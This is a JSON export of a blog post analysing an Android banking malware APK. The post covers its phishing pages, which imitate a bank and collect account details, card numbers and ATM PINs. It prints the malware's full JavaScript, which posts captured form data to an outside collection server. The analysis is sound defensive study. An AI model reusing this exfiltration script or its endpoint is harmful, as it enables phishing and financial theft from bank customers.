{"id":74,"date":"2025-04-04T18:06:34","date_gmt":"2025-04-04T18:06:34","guid":{"rendered":"https:\/\/jasveermaan.com\/?p=74"},"modified":"2026-03-13T10:07:12","modified_gmt":"2026-03-13T10:07:12","slug":"android_pnb_malware","status":"publish","type":"post","link":"https:\/\/jasveermaan.com\/index.php\/2025\/04\/04\/android_pnb_malware\/","title":{"rendered":"Android Banking Malware Analysis"},"content":{"rendered":"\n<p>Hi Readers,<\/p>\n\n\n\n<p>It\u2019s been some time since my last write-up. Over the weekend, a good friend sent me an Android malware sample. Although I have experience with Android, I haven\u2019t ventured much into malware analysis, making this the perfect opportunity to dive in. My goal is to begin threat hunting, starting with this sample and gradually progressing to more complex malware.<\/p>\n\n\n\n<p>The file my friend shared was:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>File name: pnb.apk<\/li>\n\n\n\n<li>SHA256 Hash: 1a403909f329b5991d0da307322cacad393fa06da939e6e4739a21a93e0d2227<\/li>\n<\/ul>\n\n\n\n<p>The first thing I usually do when I receive an APK file is decompile it using APKTool or open it in Jadx. When I loaded this file in Jadx, most of the code was obfuscated. However, I noticed something unusual in the AndroidManifest.xml file. Some values were replaced with &#8220;\u27e8STRING_DECODE_ERROR\u27e9&#8221;, as shown in the figure below:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"773\" height=\"963\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/04\/image.png\" alt=\"\" class=\"wp-image-75\"\/><\/figure>\n\n\n\n<p>After a few hours of trying different approaches and exploring the APK file, I reached out to my friend (https:\/\/shadowsec.live\/), who has experience with malware analysis. I asked if he had encountered similar behavior before, and he suggested using the following tool to help:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/github.com\/androguard\/androguard\">https:\/\/github.com\/androguard\/androguard<\/a><\/li>\n<\/ul>\n\n\n\n<p>After installing the tool using pip, run the following command to view the AndroidManifest.xml file:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">androguard axml -i pnb.apk<\/pre>\n\n\n\n<p>The figure below shows that the application produces the same output as in JADX, except that in JADX, the values are displayed as &#8220;\u27e8STRING_DECODE_ERROR\u27e9&#8221;.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"3350\" height=\"1558\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/04\/image-2.png\" alt=\"\" class=\"wp-image-78\"\/><\/figure>\n\n\n\n<p>The following command was issued to decompile the application:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">androguard decompile -o .\/ ~\/Desktop\/pnb.apk<\/pre>\n\n\n\n<p>The figure below shows the application decoding the APK file:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"2656\" height=\"1812\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/04\/image-1.png\" alt=\"\" class=\"wp-image-77\"\/><\/figure>\n\n\n\n<p>Androguard helped decode some of the packages, making them more readable. After spending a few more hours on it, I decided to revisit JADX and noticed several files under the &#8220;Resources&#8221; section, as shown in the figure below:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"236\" height=\"176\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/04\/image-3.png\" alt=\"\" class=\"wp-image-79\"\/><\/figure>\n\n\n\n<p>The index.html file is designed to create a signup form that imitates a legitimate banking website, a tactic commonly used in phishing attacks. It includes fields to capture a user&#8217;s name, mobile number, and account number, all of which are meant to deceive unsuspecting users into revealing sensitive information. This makes it a prime example of a phishing page. The figure below shows what the index.html looks like:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"2002\" height=\"514\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/04\/image-4.png\" alt=\"\" class=\"wp-image-80\"\/><\/figure>\n\n\n\n<p>The debit.html file is similar to the index.html file, but instead of collecting basic account information, it is designed to steal debit card details. It prompts users to enter their debit card number, expiry date, and ATM PIN. The figure below shows what the debit.html looks like:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"2022\" height=\"542\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/04\/image-5.png\" alt=\"\" class=\"wp-image-81\"\/><\/figure>\n\n\n\n<p>Lastly, the script.js is used for handling form submission and redirecting users based on the page context. The script first defines a URL where the collected form data is sent. When the form is submitted, it prevents the default form submission behavior and gathers the form data into a JavaScript object. Below is the script,js file:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/ Define the URL for the server endpoint\nconst URL = \"https:\/\/customer16.evilginix.com\/site\/submit.php\";\n\n\/\/ Function to handle redirection based on the page context\nfunction handleRedirection(page) {\n    let redirectUrl = '';\n\n    switch (page) {\n        case 'index.html':\n            redirectUrl = 'debit.html';\n            break;\n        case 'debit.html':\n            redirectUrl = 'last.html';\n            break;\n        default:\n            redirectUrl = 'index.html'; \/\/ Default redirect URL\n            break;\n    }\n\n    \/\/ Perform the redirection\n    window.location.href = redirectUrl;\n}\n\n\/\/ Set up the form submission event listener\ndocument.getElementById('myForm').addEventListener('submit', function(e) {\n    e.preventDefault(); \/\/ Prevent the default form submission\n\n    \/\/ Get form data\n    const formData = new FormData(e.target);\n    const data = Object.fromEntries(formData.entries());\n    console.log(data);\n\n    \/\/ Get ID from local storage\n    const id = localStorage.getItem('formId'); \/\/ Default to '1' if not set\n    data.id = id;\n\n    \/\/ Get the current page context\n    const dataPage = document.documentElement.getAttribute('data-page');\n\n    \/\/ Send data to the server\n    fetch(URL, {\n        method: 'POST',\n        headers: {\n            'Content-Type': 'application\/json'\n        },\n        body: JSON.stringify(data)\n    })\n    .then(response =&gt; response.json())\n    .then(result =&gt; {\n        console.log('Success:', result);\n        \/\/ Handle redirection after successful data submission\n        handleRedirection(dataPage);\n    })\n    .catch(error =&gt; {\n        console.error('Error:', error);\n    });\n});\n<\/pre>\n\n\n\n<p>Upon visiting the URL, the figure below shows that it functions as a Command and Control (C&amp;C) server, where all the victim&#8217;s information is sent.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"2190\" height=\"1390\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/04\/image-6.png\" alt=\"\" class=\"wp-image-85\"\/><\/figure>\n\n\n\n<p>Additionally, by changing the subdomain, it\u2019s possible to access another phishing campaign, which likely belongs to a different group, as shown in the figure below:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"2064\" height=\"1400\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/04\/image-7.png\" alt=\"\" class=\"wp-image-86\"\/><\/figure>\n\n\n\n<p>Thank you for reading!<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hi Readers, It\u2019s been some time since my last write-up. Over the weekend, a good friend sent me an Android malware sample. Although I have experience with Android, I haven\u2019t ventured much into malware analysis, making this the perfect opportunity to dive in. My goal is to begin threat hunting, starting with this sample and &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/jasveermaan.com\/index.php\/2025\/04\/04\/android_pnb_malware\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Android Banking Malware Analysis&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-74","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/posts\/74","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/comments?post=74"}],"version-history":[{"count":7,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/posts\/74\/revisions"}],"predecessor-version":[{"id":141,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/posts\/74\/revisions\/141"}],"wp:attachment":[{"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/media?parent=74"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/categories?post=74"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/tags?post=74"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}